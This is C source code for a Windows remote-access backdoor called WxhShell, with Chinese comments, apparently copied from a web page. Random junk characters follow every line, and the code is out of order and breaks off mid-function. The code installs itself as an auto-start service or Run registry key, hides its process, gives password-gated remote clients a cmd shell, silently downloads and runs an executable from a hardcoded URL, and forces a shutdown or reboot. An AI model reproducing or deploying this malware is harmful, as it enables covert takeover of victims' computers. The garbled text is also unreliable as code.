    closesocket(wsh); U5H5QW+  
    ExitThread(0); qmbhx9V   
    } oMF[<Xf  
    break; 1K{hj%  
    } h%U,g 9_  
  // 关机 bVds23q  
  case 'd': { ]bAw>1,NVD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v`~egE17  
    if(Boot(SHUTDOWN)) 8?$XT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Opf^#6'mq  
    else { X"v)9 p  
    closesocket(wsh); Vpf7~2[q%  
    ExitThread(0); E <h9o>h  
    } IlMst16q5  
    break; Ny 7vId  
    } ^e1mK4`  
  // 获取shell #(r1b'jfP  
  case 's': { lC=T{rR  
    CmdShell(wsh); 8"J6(KS  
    closesocket(wsh); v c b}Gk  
    ExitThread(0); ~> 5  
    break; AF"XsEt.e  
  } Rnk&:c  
  // 退出 M[Mx g  
  case 'x': { WizVw&Iv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v'u}%FC  
    CloseIt(wsh); XM?C7/^k  
    break; 3qrjb]E%}  
    } $WZHkV  
  // 离开 Z`{GjV3%wH  
  case 'q': { *!yY7 ~#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^a;412  
    closesocket(wsh); :X#'E Lo|  
    WSACleanup(); !R1OSVFp  
    exit(1); ddvtBAX  
    break; rJc=&'{&)N  
        } ?YhGW   
  } hbTJXP~~?  
  } fBct%M 3  
Y j*Y*LB~  
  // 提示信息 v^(J+d_>   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2I1CKA:7g  
} D? FWSv  
  } uE,j$d  
e2M jV8Bs  
  return; QhmOO-Z?  
} Eilo;-El  
tcj3x<  
// shell模块句柄 hg}R(.1K=  
int CmdShell(SOCKET sock) ~X1<x4P\  
{ ^97\TmzP{  
STARTUPINFO si; l=^^l`  
ZeroMemory(&si,sizeof(si)); ]YwvwmZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D>"!7+t|@a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iLJBiZ+  
PROCESS_INFORMATION ProcessInfo; jI,?*n<  
char cmdline[]="cmd"; %1%@L7wP>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]j^rJ|WTH  
  return 0; &W-1W99auE  
} S *K0OUq  
\Gz 79VW  
// 自身启动模式 hZeF? G)L'  
int StartFromService(void) 2"L a}Vx2  
{ Mg=R**s1x%  
typedef struct f&`yiy_  
{ kDK0L3}nr]  
  DWORD ExitStatus; $C9['GGR  
  DWORD PebBaseAddress; D 13bQ&\B-  
  DWORD AffinityMask; -Oc  
  DWORD BasePriority; NUGiDJ+[  
  ULONG UniqueProcessId; &3bhK5P  
  ULONG InheritedFromUniqueProcessId; }n$I #G}\/  
}   PROCESS_BASIC_INFORMATION; 84M*)cKR~  
WOuk> /  
PROCNTQSIP NtQueryInformationProcess; F48W8'un  
9Gk#2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -v62 s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '7>Yr zq  
 OiMr,  
  HANDLE             hProcess; zr[|~-  
  PROCESS_BASIC_INFORMATION pbi; DO9_o9'  
4W36VtQ@E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I"r[4>>B>0  
  if(NULL == hInst ) return 0; *aS[^iX?s  
EMMp4KKOx+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CGJ>j}C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Tlz~o[`&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r>x>aJ  
be:=-B7!  
  if (!NtQueryInformationProcess) return 0; nSeb?|$D6  
tz`T#9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }}w Z  
  if(!hProcess) return 0; R'x^Y"  
u4.2u}A/R%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }R2afTn[;  
#tlhH\Pr[  
  CloseHandle(hProcess); q;H5S<]/  
7xjihl3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n% ={!WD  
if(hProcess==NULL) return 0; [,|;rt\o>  
VfJdCg_  
HMODULE hMod; ^<QF* !  
char procName[255]; Q DJe:\n  
unsigned long cbNeeded; .[>UkM0  
>'2=3L^Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7DCu#Y[  
WS1$cAD2N  
  CloseHandle(hProcess); x$/: %"E  
k{w  
if(strstr(procName,"services")) return 1; // 以服务启动 QKtVwsz +  
&(,-:"{pNR  
  return 0; // 注册表启动 LQ.0"6oj  
} b?%Pa\,!  
/^9yncG;>  
// 主模块 WTQd}f  
int StartWxhshell(LPSTR lpCmdLine) <<[\ Rv  
{ H"J>wIuGX  
  SOCKET wsl; Ur2) ];WZ  
BOOL val=TRUE; 3IDX3cM9  
  int port=0; 9Ts rg  
  struct sockaddr_in door; YTYCv7  
e? n8S  
  if(wscfg.ws_autoins) Install(); &<oDl _^  
#i0f}&  
port=atoi(lpCmdLine); a&s&6Q|Y  
Q!v]njCIB7  
if(port<=0) port=wscfg.ws_port; 2RC@Fu~zaU  
dn|OY. `|  
  WSADATA data; NGOyd1$7N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?D S|vCae  
2kVQ#JyuRI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6HR^q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1i:Q %E F  
  door.sin_family = AF_INET; n`2LGc[rP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `]4bH,%~  
  door.sin_port = htons(port); 7Hzv-s  
7=[/J*-m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R?H[{A X  
closesocket(wsl); =>,X)+O  
return 1;  NncII5z  
} &)#bdt[  
7/GL@H  
  if(listen(wsl,2) == INVALID_SOCKET) { vK,.P:n  
closesocket(wsl); O t1:z:Pl  
return 1; o1]ZeF  
} 1OW#_4w/  
  Wxhshell(wsl); Q<d|OX  
  WSACleanup(); -Gmg&yQ9  
( t59SY  
return 0; mVdg0  
p|o?nI  
} L#9g ~>~  
Vf] ;hm  
// 以NT服务方式启动 g.d~`R@v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qhqqCVrsW  
{ l F*x\AT  
DWORD   status = 0; D!nx%%q  
  DWORD   specificError = 0xfffffff; JWo).  
\2NT7^H#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N(= \S:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 56T{JTo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2L|)uCb  
  serviceStatus.dwWin32ExitCode     = 0; LGPPyK Nx  
  serviceStatus.dwServiceSpecificExitCode = 0; LQ3J$N  
  serviceStatus.dwCheckPoint       = 0; ^mu PjM+D  
  serviceStatus.dwWaitHint       = 0; |tqYRWn0  
 dPCn6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rg6/6/ IN  
  if (hServiceStatusHandle==0) return; _1kcz]]F  
gzeTBlXg  
status = GetLastError(); Lm"zW>v  
  if (status!=NO_ERROR) (YKkJ  
{  '  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  WDq~mi  
    serviceStatus.dwCheckPoint       = 0; QTT2P(Pz  
    serviceStatus.dwWaitHint       = 0; $61j_;WF`  
    serviceStatus.dwWin32ExitCode     = status; A~%h*nZc%I  
    serviceStatus.dwServiceSpecificExitCode = specificError; +w'He9n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %m?$"<q_K  
    return; ]iE) 8X  
  } ISALR{Aq  
Z@ZSn0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +[Zcz4\9  
  serviceStatus.dwCheckPoint       = 0; ^b@&O-&s  
  serviceStatus.dwWaitHint       = 0; o0\d`0-el  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2V)qnMxAZJ  
}  j2%?-(U  
Os"T,`F2s  
// 处理NT服务事件,比如:启动、停止 (4oO8 aBB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #xBh62yIuP  
{ ~;P>}|6Y  
switch(fdwControl) 8xQjJ  
{ K6M_b?XekA  
case SERVICE_CONTROL_STOP: a<d$P*I(cH  
  serviceStatus.dwWin32ExitCode = 0; u[~= a 5:4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6;{E-y  
  serviceStatus.dwCheckPoint   = 0; AxZaV;%*  
  serviceStatus.dwWaitHint     = 0; 3}ATt".  
  { 4VrL@c @  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P[<EFj E  
  } &&K"3"um  
  return; f5dctDHP  
case SERVICE_CONTROL_PAUSE: OXIy0].b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nHTb~t5Ke  
  break; 0o &B 7N  
case SERVICE_CONTROL_CONTINUE: \>nY%*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yi@mf$A|  
  break; Kb,#Ot  
case SERVICE_CONTROL_INTERROGATE: G0&'B6I>  
  break; Zq\Vq:MX  
}; Q3|I.I e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z)0%gd|  
} $mLiEsJ  
v7@O ,%  
// 标准应用程序主函数 @1^:V-=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IM$I=5y e  
{ C3GI?| b  
}j6<S-s~  
// 获取操作系统版本 gi5Ffvs$  
OsIsNt=GetOsVer(); ?Y | *EH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gPz p/I  
9Ls=T=96  
  // 从命令行安装 kRH;c,E@  
  if(strpbrk(lpCmdLine,"iI")) Install(); |dI,4Z\Qb  
#,PB(  
  // 下载执行文件 9i*Xd$ G  
if(wscfg.ws_downexe) { X'XH-E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k*Vf2O3${  
  WinExec(wscfg.ws_filenam,SW_HIDE); "'\f?A9  
} XX|wle1Kg  
F-I\x  
if(!OsIsNt) { pSh$#]mZ`  
// 如果时win9x,隐藏进程并且设置为注册表启动 ti}G/*4  
HideProc(); 11jDAA(|  
StartWxhshell(lpCmdLine); }&:F,q*  
} n9N '}z  
else Y:'#jY*V  
  if(StartFromService()) JBxizJBP  
  // 以服务方式启动 SE<hZLd"  
  StartServiceCtrlDispatcher(DispatchTable); 8j<+ ' R  
else k:k!4   
  // 普通方式启动 BLQD=?Q  
  StartWxhshell(lpCmdLine); IWD21lS  
%2t#>}If!  
return 0; 2i_X{!0}  
} vhj^R5=  
F\( 7B#  
;1[Lwnm  
D>).^>|q  
=========================================== 9HJA:k*k|  
8w]>SEGFs  
g{%2*{;i  
_rjLCvv-  
r]'Q5l4j6"  
/aHx'TG  
" h&$,mbEoI  
1l`$.k  
#include <stdio.h> q26%Z)'nf  
#include <string.h> <=7N2t)s4  
#include <windows.h> K`% I!Br  
#include <winsock2.h> @!zT+W&  
#include <winsvc.h> cA]Ch>]A%  
#include <urlmon.h> >( :b\*C  
Pu7cL  
#pragma comment (lib, "Ws2_32.lib") At=l>  
#pragma comment (lib, "urlmon.lib") 2W]y9)<c  
qtLXdSc  
#define MAX_USER   100 // 最大客户端连接数 jYi{[* *  
#define BUF_SOCK   200 // sock buffer iJD_ qhd7  
#define KEY_BUFF   255 // 输入 buffer  }j /r  
Q($aN-   
#define REBOOT     0   // 重启 2lm{:tS  
#define SHUTDOWN   1   // 关机 *N|s+  
y/}ENUGR  
#define DEF_PORT   5000 // 监听端口 {pof=G  
y$^.HI02jP  
#define REG_LEN     16   // 注册表键长度 b/g"ws_  
#define SVC_LEN     80   // NT服务名长度 l5bd);L tq  
^vH3 -A;*  
// 从dll定义API ? (f44Zgm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j*05!j<'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8NS1*\z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v'zj<|2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2E X Rq  
6 SosVE>Z  
// wxhshell配置信息 q|fZdTw  
struct WSCFG { !NfN16  
  int ws_port;         // 监听端口 Rf .b_Y@O  
  char ws_passstr[REG_LEN]; // 口令 L_4Zx sIv  
  int ws_autoins;       // 安装标记, 1=yes 0=no m&X6a C'[  
  char ws_regname[REG_LEN]; // 注册表键名 o I6o$C  
  char ws_svcname[REG_LEN]; // 服务名 gQ=g,X4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QC\][I>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zkrcsc\Z~0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E?+MM0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9BM 8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &QQ8ut,;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ; 3WA-nn  
&^W91C?<6  
}; \dIQhF%%2  
r$Z_Kwe.|&  
// default Wxhshell configuration &QL!Y{=Y6  
struct WSCFG wscfg={DEF_PORT, cjel6 nj  
    "xuhuanlingzhe", / NlT[@T  
    1, aj:B+}1  
    "Wxhshell", &@MiR8  
    "Wxhshell", c#6g[TE@  
            "WxhShell Service", *1 [v08?!  
    "Wrsky Windows CmdShell Service", `/z6 Q"  
    "Please Input Your Password: ", '!6Py1i  
  1, L)LW5%.6  
  "http://www.wrsky.com/wxhshell.exe", CrIt h/Z  
  "Wxhshell.exe" 'l}T_7g  
    }; ~<, QxFG5  
!7O!)WJ  
// 消息定义模块 """gV)Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; utvZ<zz`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2"~QI xY=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oT\u^WU  
char *msg_ws_ext="\n\rExit."; -b4#/q+bb+  
char *msg_ws_end="\n\rQuit."; LJ|2=lI+jb  
char *msg_ws_boot="\n\rReboot..."; AShnCL8uR  
char *msg_ws_poff="\n\rShutdown..."; a|x1aN 0  
char *msg_ws_down="\n\rSave to "; !L#>wlX)  
1*"t-+|  
char *msg_ws_err="\n\rErr!"; DGwN*>X  
char *msg_ws_ok="\n\rOK!"; u(s/4Lu  
domaD"C  
char ExeFile[MAX_PATH]; -K_p? l  
int nUser = 0; <6s?M1J  
HANDLE handles[MAX_USER]; BWct0=  
int OsIsNt; Q6G-`&5  
vNhi5EU  
SERVICE_STATUS       serviceStatus; <?UIux  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KnC;j-j  
/@<Pn&Rq  
// 函数声明 z3  lZ3  
int Install(void); L.uX  
int Uninstall(void); ByrK|lVM0  
int DownloadFile(char *sURL, SOCKET wsh); \V#2K><  
int Boot(int flag); |nN{XjNfP5  
void HideProc(void); rR4_=S<Mi:  
int GetOsVer(void); y0d a8sd)  
int Wxhshell(SOCKET wsl); E2s lpo  
void TalkWithClient(void *cs); D9;2w7v  
int CmdShell(SOCKET sock); DJ)z~W2I*  
int StartFromService(void); R N1q/H|  
int StartWxhshell(LPSTR lpCmdLine); Bw31h3yB  
rSUarfZ<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GN4'LU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3f2%+2Zjt,  
A?V[/  
// 数据结构和表定义 ER O'{nT&  
SERVICE_TABLE_ENTRY DispatchTable[] = U9[ &ci  
{ k|$08EK $  
{wscfg.ws_svcname, NTServiceMain}, >Q$, } `U;  
{NULL, NULL} 4E`y*Hmzy+  
}; 3Ms ` ajJ  
+ou ]|  
// 自我安装 xm }9(EJ  
int Install(void) KV Vo_9S'  
{ (3DjFT3 w  
  char svExeFile[MAX_PATH]; Lbka*@  
  HKEY key; I6x  
  strcpy(svExeFile,ExeFile); HWJ(O/N  
3iHUG^sLW  
// 如果是win9x系统,修改注册表设为自启动 hlpi-oW`  
if(!OsIsNt) { iyF~:[8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R#ABda9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GHaOFLY  
  RegCloseKey(key); .a%D:4GYR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0,a;N%K-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0^41dfdE  
  RegCloseKey(key); gAA2S5th  
  return 0; 8,Jjv*  
    } Une,Y4{u  
  } T[}A7a6g_  
} X|}yp|  
else { ]xlV;m  
4!pMZ<$3  
// 如果是NT以上系统,安装为系统服务 h01 HX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fb&Xy{kt1  
if (schSCManager!=0) e`pYO]Z  
{ 0j^QY6  
  SC_HANDLE schService = CreateService :Yi1#  
  ( ^tS{a*Yn  
  schSCManager, Z*EK56.b  
  wscfg.ws_svcname, I%]~]a  
  wscfg.ws_svcdisp, jN\} l|;q  
  SERVICE_ALL_ACCESS, }pJ6CW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3BuG_ild  
  SERVICE_AUTO_START, _d#1muZ?p|  
  SERVICE_ERROR_NORMAL, gOpi>  
  svExeFile, v+.  n9  
  NULL, /;7\HZ$@/  
  NULL, 'D ,efTq  
  NULL, d NQ?8P-&  
  NULL, 'OI Ol  
  NULL S+^*rw  
  ); >wz& {9ni  
  if (schService!=0) G%{J.J41F  
  {  |,*N>e  
  CloseServiceHandle(schService); u^DfRd&P0  
  CloseServiceHandle(schSCManager); LUGyc( h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hk =nXv2M  
  strcat(svExeFile,wscfg.ws_svcname); D# ZzhHHP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {:U zW\5l)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O)y|G%O  
  RegCloseKey(key); J<g$hk  
  return 0; k8 !|WqfP  
    } #wXq'yi  
  } qPEtMvL #  
  CloseServiceHandle(schSCManager); E+LAE/v@  
}  pFfd6P  
} YP*EDb?f  
j_::#?o!/  
return 1; _4eSDO[h  
} ; B4x>  
ldd|"[Ds  
// 自我卸载 {}r#s>  
int Uninstall(void) : GVyY]qBU  
{ ?b?6/_W~R  
  HKEY key; q]%eLfC(  
BHoy:Tp  
if(!OsIsNt) { ~#z8Q{!O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b@GL*Z  
  RegDeleteValue(key,wscfg.ws_regname); Af~>}-`a  
  RegCloseKey(key); /.54r/FN')  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZY_aE  
  RegDeleteValue(key,wscfg.ws_regname); F E`4%X  
  RegCloseKey(key); v2OK/W,0  
  return 0; V}?*kx~T2C  
  } +m|S7yr'  
} -~ w5 yd  
} 8+HXGqcv  
else { HPz9Er  
7R4sd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O*;$))<wX  
if (schSCManager!=0) mGss9eZa  
{ ]!@z3Hv3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  rG#o*oA  
  if (schService!=0) )uj:k*`)  
  { C[E[|s*l  
  if(DeleteService(schService)!=0) { DGR[2C)@N  
  CloseServiceHandle(schService); 8>U{>]WG  
  CloseServiceHandle(schSCManager); &hTe-Es  
  return 0; .[%^~q7  
  } UH8q:jOi  
  CloseServiceHandle(schService); Y[_{tS#u  
  } D<V[:~-o  
  CloseServiceHandle(schSCManager); Sn6cwf9.s  
} gLm ]*  
} +<l6!r2Z  
%y7&~me  
return 1; .A(QqL>  
} U*P&O+(1'  
pr\wI?:k  
// 从指定url下载文件 Lek!5Ug  
int DownloadFile(char *sURL, SOCKET wsh) 7D5[ L  
{ 2O|jVGap5x  
  HRESULT hr; ivgV5 )".  
char seps[]= "/";  c@eQSy  
char *token; j ^Tb=  
char *file; 8IeE7  
char myURL[MAX_PATH]; @fI1|v=eF  
char myFILE[MAX_PATH]; }da}vR"iL  
Eo\pNz#)  
strcpy(myURL,sURL); )$EmKOTt:  
  token=strtok(myURL,seps); [h5~1N  
  while(token!=NULL) fGZZ['E  
  { m`;dFL7"E  
    file=token; (]_smsok  
  token=strtok(NULL,seps); UF_?T.Rl^  
  } dBWi1vTF  
D)O2=aQ;]  
GetCurrentDirectory(MAX_PATH,myFILE); p`+=) n  
strcat(myFILE, "\\"); O V"5:){  
strcat(myFILE, file); `;`fA|F^  
  send(wsh,myFILE,strlen(myFILE),0); VVd9VGvh  
send(wsh,"...",3,0); [6ycs[{!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4Nb&(p  
  if(hr==S_OK) "YC5viX  
return 0; 9$ VudE>;  
else 8;%F-?  
return 1; 1<9=J`(H  
b0(bL_,  
} `>HM<Nn-0  
@IXvp3r  
// 系统电源模块 "dkDT7  
int Boot(int flag) ;7:_:o[.  
{ !~j-5+DI  
  HANDLE hToken; c"wk_ #  
  TOKEN_PRIVILEGES tkp; 0: 1[F!]'b  
u5'jIqlU  
  if(OsIsNt) { @K=:f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dmB _`R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KUV(vAY,  
    tkp.PrivilegeCount = 1; pW7#&@AR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5bj9S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  Zra P\?  
if(flag==REBOOT) { pu"m(9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ln1QY"g  
  return 0; Ye=c;0V(w  
} 6L/`  
else { 6_=t~9sY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B4#XQ-  
  return 0; P&sn IJ  
} ov 'g'1}  
  } >h Rq  
  else { GG=R!+p2  
if(flag==REBOOT) { X/8TRiTFv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2Wx~+@1y  
  return 0; =Hd+KvA  
} K,f"Q<sU%  
else { rOo |.4w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) up;^,I  
  return 0; _{C =d3  
} n40&4n  
} P\rA>ZY  
F97HFt6{  
return 1; .T\jEH8E  
} ,hVDGif  
g7l?/p[n  
// win9x进程隐藏模块 6k=*O|r  
void HideProc(void) #dj,=^1_14  
{ d69synEw>k  
z+5%.^Re  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N51e.;  
  if ( hKernel != NULL ) xf7_|l  
  { nB9(y4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FoX,({*Ko~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AxAbU7m  
    FreeLibrary(hKernel); fo"%4rkL  
  } -+HD5Hc  
)JXlPU  
return; PKg>|]Rf.  
} PNp-/1Cx  
X(npgkVP\  
// 获取操作系统版本 /J5)_> R:  
int GetOsVer(void) K/l*Saj  
{ TN=!;SvQU  
  OSVERSIONINFO winfo; Zsto8wuf#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6 k6}SlN[  
  GetVersionEx(&winfo); DX(!G a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kQ99{l H,5  
  return 1; OnND(YiX  
  else 2EC<8}CG  
  return 0; CQns:.`$`  
} T(z/Jm3  
G6XDPr:}  
// 客户端句柄模块 Vpe\Okt:  
int Wxhshell(SOCKET wsl) laQ{nSVBm  
{ C~X"ZW:d[  
  SOCKET wsh; :>*0./hG  
  struct sockaddr_in client; d "%6S*dL  
  DWORD myID; ]j+J^g  
x>Gx yVE  
  while(nUser<MAX_USER) le150;7  
{ SH5a&OVZhn  
  int nSize=sizeof(client); 1~ZFkcV_C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DEQ7u`6  
  if(wsh==INVALID_SOCKET) return 1; *%n(t+'q  
.L8g( F(=:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L #`Vr$  
if(handles[nUser]==0) ?BnX<dbi&  
  closesocket(wsh); uwc@~=;  
else [;pL15-}4  
  nUser++; W690N&Wz  
  } K# kMz#B+i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _-:CU  
.!)i    
  return 0; pnp)- a*7  
} ZkmY pi[  
^ 0g!,L  
// 关闭 socket ?_j]w%Hz  
void CloseIt(SOCKET wsh) ]T;  
{ VLcwBdo  
closesocket(wsh); ,DD}o  
nUser--; 6=p!`DOd  
ExitThread(0); h'"~t#r  
} ^D?{[LBc  
x0||'0I0  
// 客户端请求句柄 -J;;6aA  
void TalkWithClient(void *cs) /wPW2<|"X.  
{ .OZ\ s%h;  
lQqP4-E?  
  SOCKET wsh=(SOCKET)cs; 5I&Dk4v  
  char pwd[SVC_LEN]; *:Uq ;)*  
  char cmd[KEY_BUFF]; ^ pNA_s!S  
char chr[1]; 'Gqo{wl  
int i,j; 4Cp)!Bq?/  
M&}_3  
  while (nUser < MAX_USER) { f/670Acv  
UgTgva>?  
if(wscfg.ws_passstr) { f>[{1M]n\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qkA8q@Y4|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gx;-1  
  //ZeroMemory(pwd,KEY_BUFF); [mFgo il  
      i=0; nP+jkNn3  
  while(i<SVC_LEN) { ke19(r Ch  
M~ g{}_ 0Z  
  // 设置超时 Xu7lV  
  fd_set FdRead; 2Ft#S8  
  struct timeval TimeOut; zsr;37  
  FD_ZERO(&FdRead); >9,LN;Ic  
  FD_SET(wsh,&FdRead); ,0aRHy_^  
  TimeOut.tv_sec=8; /pL'G`  
  TimeOut.tv_usec=0; w3FEX$`_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D77s3AyHK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "eIE5h  
TGZr [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e3WEsD+  
  pwd=chr[0]; >">grDX  
  if(chr[0]==0xd || chr[0]==0xa) { F./P,hhN9  
  pwd=0; "h:#'y$V  
  break; hu 5o{8[  
  } ~_|CXPiQ8  
  i++; `k -|G2  
    } a,eEP43dn  
h|.{dv  
  // 如果是非法用户,关闭 socket a)' P/P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kd OIL2T  
} N>IkK*v  
BeFXC5-qat  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \t]_UNGyW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x$) E^|A+  
+&[X7r<  
while(1) { Z@i,9 a  
km29]V=}  
  ZeroMemory(cmd,KEY_BUFF); k1fX-2H  
CcZM0  
      // 自动支持客户端 telnet标准   @c=bH>Oz  
  j=0; Yb?(Q %  
  while(j<KEY_BUFF) { bd&Nf2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NdB:2P  
  cmd[j]=chr[0]; %=)%$n3=-M  
  if(chr[0]==0xa || chr[0]==0xd) { kudXwj  
  cmd[j]=0; hR,5U=+M7  
  break; ^qNZ!V4T  
  } ,|?rt`8)Q  
  j++; _VJG@>F9-  
    } c@ lH  
[Uw3.CVh  
  // 下载文件 Mo]  
  if(strstr(cmd,"http://")) { d5'4RYfkQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !=?Q>mz  
